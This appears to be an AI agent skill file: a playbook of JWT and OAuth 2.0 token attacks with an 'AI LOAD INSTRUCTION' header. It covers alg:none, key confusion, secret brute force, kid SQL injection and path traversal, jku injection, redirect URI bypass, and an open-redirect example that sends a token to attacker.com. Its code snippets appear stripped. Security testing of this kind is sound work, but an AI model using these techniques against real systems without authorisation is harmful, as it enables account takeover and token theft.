JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.

SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook AI LOAD INSTRUCTION : Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications. 0. RELATED ROUTING Use this file for token centric attacks and flow abuse. Also load: [oauth oidc misconfiguration](../oauth oidc misconfiguration/SKILL.md) for redirect URI, state, nonce, PKCE, and account binding validation [cors cross origin misconfiguration](../cors cross origin misconfiguration/SKILL.md) when browser readable APIs or token leakage may exist cross origin [saml sso assertion attacks](../saml sso assertion attacks/SKILL.md) when the target uses enterprise SSO outside OAuth/OIDC 1. JWT ANATOMY Decode in terminal : Common claim targets (modify to escalate): 2. ATTACK 1 — ALGORITHM NONE (alg:none) Server doesn't validate signature when algorithm is "none"/"None"/"NONE": Tool (jwt tool) : 3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION When server uses RS256 (asymmetric — RSA private key signs, public key verifies): Server's public key is often discoverable (JWKS endpoint, /certs , source code) Attack: tell server "this is HS256" → server verifies HS256 HMAC using the public key as secret 4. ATTACK 3 — JWT SECRET BRUTE FORCE HMAC based JWTs (HS256/HS384/HS512) with weak secret: Common weak secrets to test manually : 5. ATTACK 4 — kid (Key ID) INJECTION The kid header parameter specifies which key to use for verification. No sanitization = injection: kid SQL Injection If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT' Result: HMAC key = 'attacker controlled key' → forge any payload signed with this value. kid Path Traversal (file read) Server reads /dev/null as key → empty string → sign token with empty HMAC. Server reads hostname as key → forge tokens signed with hostname string. 6. ATTACK 5 — jku / x5u Header Injection jku points to JSON Web Key Set URL. If not whitelisted: Setup : jwt tool automation : 7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF) State parameter prevents CSRF in OAuth. If missing: 8. OAUTH — REDIRECT URI BYPASS Authorization codes are sent to redirect uri . If validation is weak: Open Redirect in redirect uri Partial Path Match Localhost / Development Redirect 9. OAUTH — IMPLICIT FLOW TOKEN THEFT Implicit flow: token sent in URL fragment access token=... Fragment leakage scenarios : Redirect to attacker page: fragment accessible via document.referrer or via <script window.location.href</script in target page Open redirect: redirect uri=https://target.com/open redirect?url=https://attacker.com → token in fragment lands at attacker's page 10. OAUTH — SCOPE ESCALATION Request broader scope than authorized in authorization code: 11. TOKEN LEAKAGE VECTORS Referer Header Token in URL → page loads external resource → Referer leaks token: Server Logs Access tokens sent in query parameters are stored in: 12. JWT TESTING CHECKLIST 13. OAUTH TESTING CHECKLIST

jwt-oauth-token-attacks